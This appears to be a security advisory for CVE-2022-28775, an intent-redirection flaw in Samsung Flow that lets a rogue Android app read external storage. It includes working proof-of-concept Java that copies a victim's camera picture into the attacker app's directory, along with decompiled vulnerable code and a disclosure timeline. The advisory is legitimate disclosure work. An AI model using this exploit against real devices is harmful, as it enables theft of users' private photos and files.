CVE-2022-28775 Details
Original post: https://labs.f-secure.com/advisories/samsung-flow-any-app-can-read-the-external-storage/
Product | Samsung Flow prior to version 4.8.06.5 |
Severity | Medium |
CVE Reference | CVE-2022-28775 |
Type | Security Control Bypass |
Description
F-Secure looked into exploiting the Samsung Galaxy S21 device for Austin Pwn2Own 2021. Samsung Flow, an application offered on the Galaxy Store, had an issue with how it handled broadcasted intents. A rogue application could use this issue to read contents on the device’s external storage without requiring the proper Android permissions.
The Exploit
As an example, the following exploit code will exfiltrate a picture taken by the device’s camera. This example requires two parts. First, the rogue application must contain an exported activity with the following Java code:
public class IntentProxyToContentProvider extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Uri uri = Uri.parse(getIntent().getDataString());
try {
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri));
String yayuriyay = MediaStore.Images.Media.insertImage(getContentResolver(),
bitmap,
"yaytitleyay",
"yaydescriptionyay");
InputStream input = getContentResolver().openInputStream(Uri.parse(yayuriyay));
File file = new File(getFilesDir(), "yayoutputyay.jpg");
FileOutputStream output = new FileOutputStream(file);
try{
byte[] buf = new byte[1024];
int len;
while ((len = input.read(buf)) > 0) {
output.write(buf, 0, len);
}
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (input != null)
input.close();
if (output != null)
output.close();
} catch (Exception e) {
e.printStackTrace();
}
}
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
Second, the rogue application must send the following Broadcast, replacing “
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.samsung.android.galaxycontinuity", "com.samsung.android.galaxycontinuity.manager.GlobalBroadcastReceiver"));
intent.setAction("com.samsung.android.galaxycontinuity.action.ACTION_FLOW_CONTENT_PENDING_INTENT");
Intent intent2 = new Intent();
intent2.setComponent(new ComponentName("<rogue application package>", " <rogue application package>.IntentProxyToContentProvider"));
intent2.setData(Uri.parse("content://com.samsung.android.galaxycontinuity.provider/external_files/DCIM/Camera/<target picture name>"));
intent2.setFlags(195);
Bundle bundle = new Bundle();
bundle.putParcelable("_data", intent2);
bundle.putString("ClassName", "com.samsung.android.galaxycontinuity.activities.ChooserDelegateActivity");
intent.putExtras(bundle);
sendBroadcast(intent);
The above code will perform the following steps:
- Send a Broadcast to the exported Broadcast Receiver
com.samsung.android.galaxycontinuity.manager.GlobalBroadcastReceiver
- The Broadcast Receiver opens the unexported Activity
com.samsung.android.galaxycontinuity.activities.ChooserDelegateActivity
- The Activity passes permissions to read the unexported Content File Provider
com.samsung.android.galaxycontinuity.provider
to the rogue application’s exported Activity mentioned earlier - After successful exploitation, the targeted picture will be saved to the rogue application’s “Files” private directory. Specifically, it will be saved to
/data/data/<rogue application package>/Files/yayoutputyay.jpg
.
Technical Details
The exported Broadcast Receiver com.samsung.android.galaxycontinuity.manager.GlobalBroadcastReceiver
processes received broadcast intents by checking for:
- The action value
- The extra string value
ClassName
If the action value matches com.samsung.android.galaxycontinuity.action.ACTION_FLOW_CONTENT_PENDING_INTENT
and ClassName
is not null, then a new intent is created and Samsung Flow will start the activity defined in ClassName
. Any intent extras that is bundled with the broadcast intent is also bundled with the newly created intent:
public void onReceive(Context context, Intent intent) {
Intent intent2;
try {
String action = intent.getAction();
intent.setComponent(null);
if (action.equals("REQUEST_LAUNCH_MY_FILES")) {
FileUtil.openMyFiles(intent.getStringExtra("START_PATH"));
return;
}
if (!"android.intent.action.BOOT_COMPLETED".equals(action)) {
if (!ACTION_LAZY_BOOT_COMPLETE.equals(action)) {
if (Define.ACTION_FLOW_CONTENT_PENDING_INTENT.equals(action)) {
String stringExtra = intent.getStringExtra("ClassName");
if (stringExtra != null) {
if ((stringExtra.equals(NotificationDetailActivity.class.getName()) || stringExtra.equals(ChatActivity.class.getName())) && SettingsManager.getInstance().getNotificationOption()) {
Intent intent3 = new Intent(SamsungFlowApplication.get(), MirroringActivity.class);
intent3.setAction(Define.ACTION_SMARTVIEW_FROM_NOTIFICATION);
intent3.putExtra("FlowKey", intent.getStringExtra("FlowKey"));
intent3.setFlags(268435456);
SamsungFlowApplication.get().startActivity(intent3);
return;
}
Intent intent4 = new Intent(SamsungFlowApplication.get(), Class.forName(stringExtra));
intent4.replaceExtras(intent.getExtras());
intent4.setFlags(268435456);
SamsungFlowApplication.get().startActivity(intent4);
return;
By defining com.samsung.android.galaxycontinuity.activities.ChooserDelegateActivity" as the "ClassName
, a Create Chooser Intent is created based on the data defined in the passed intent’s parcelable extra _data
. The intent bundled in _data
can contain standard intent objects, intent extras.
This new intent is started via startActivity:
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
startChooser(getIntent());
finish();
}
private void startChooser(Intent intent) {
if (intent != null && intent.getExtras().containsKey("_data")) {
try {
ArrayList<? extends Parcelable> arrayList = new ArrayList<>();
arrayList.add(new ComponentName(SamsungFlowApplication.get().getPackageName(), ShareActivity.class.getName()));
Intent createChooser = Intent.createChooser((Intent) intent.getParcelableExtra("_data"), ResourceUtil.getString(R.string.share));
if (Build.VERSION.SDK_INT >= 24) {
createChooser.putExtra("android.intent.extra.EXCLUDE_COMPONENTS", (Parcelable[]) arrayList.toArray(new Parcelable[0]));
} else {
createChooser.putParcelableArrayListExtra("extra_chooser_droplist", arrayList);
}
if (intent.getBooleanExtra(EXTRA_POP_OVER_SUPPORTED, false)) {
int intExtra = intent.getIntExtra(EXTRA_POP_OVER_POS, -1);
ActivityOptions makeBasic = ActivityOptions.makeBasic();
makeBasic.semSetChooserPopOverPosition(intExtra);
startActivity(createChooser, makeBasic.toBundle());
return;
}
startActivity(createChooser);
} catch (Exception e) {
FlowLog.e(e);
}
}
}
If the Create Chooser Intent passed to startActivity
contains the following flags, then the target started activity will be given access to Samsung Flow’s content providers, including unexported content providers:
Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
Intent.FLAG_GRANT_READ_URI_PERMISSION
Intent.FLAG_GRANT_WRITE_URI_PERMISSION
As an example, an intent passed to startActivity
could contain a data value of content://com.samsung.android.galaxycontinuity.provider/external_files/DCIM/Camera/<target picture>
. Then the target activity will be given access to the content provider com.samsung.android.galaxycontinuity.provider
and be able to download the file /external_files/DCIM/Camera/<target picture>
. The following code within the target activity can be used to create a new file via the Android MediaStore content provider, and save the data that was obtained from content://com.samsung.android.galaxycontinuity.provider/external_files/DCIM/Camera/<target picture>
:
Uri uri = Uri.parse(getIntent().getDataString());
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri));
String yayuriyay = MediaStore.Images.Media.insertImage(getContentResolver(), bitmap, "yaytitleyay", "yaydescriptionyay");
Lod.d("yaytagyay", "this content provider contains the saved media: " + yayuriyay);
Remedial Action
Samsung has released Samsung Flow version 4.8.06.5 which addresses this issue. Users should update their Samsung Flow application to the latest version available.
Credits
This issue was discovered by Ken Gannon.
Timeline
Date | Summary |
19/10/2021 | Issue disclosed to Samsung Mobile Security |
19/10/2021 | Issue assigned to a Samsung Security Analyst |
02/01/2022 | Samsung confirms the vulnerability and rates it as a critical risk issue |
04/03/2022 | Patch released, Samsung initiates process for bug bounty reward |
12/04/2022 | CVE Assigned |
04/05/2022 | Advisory Published |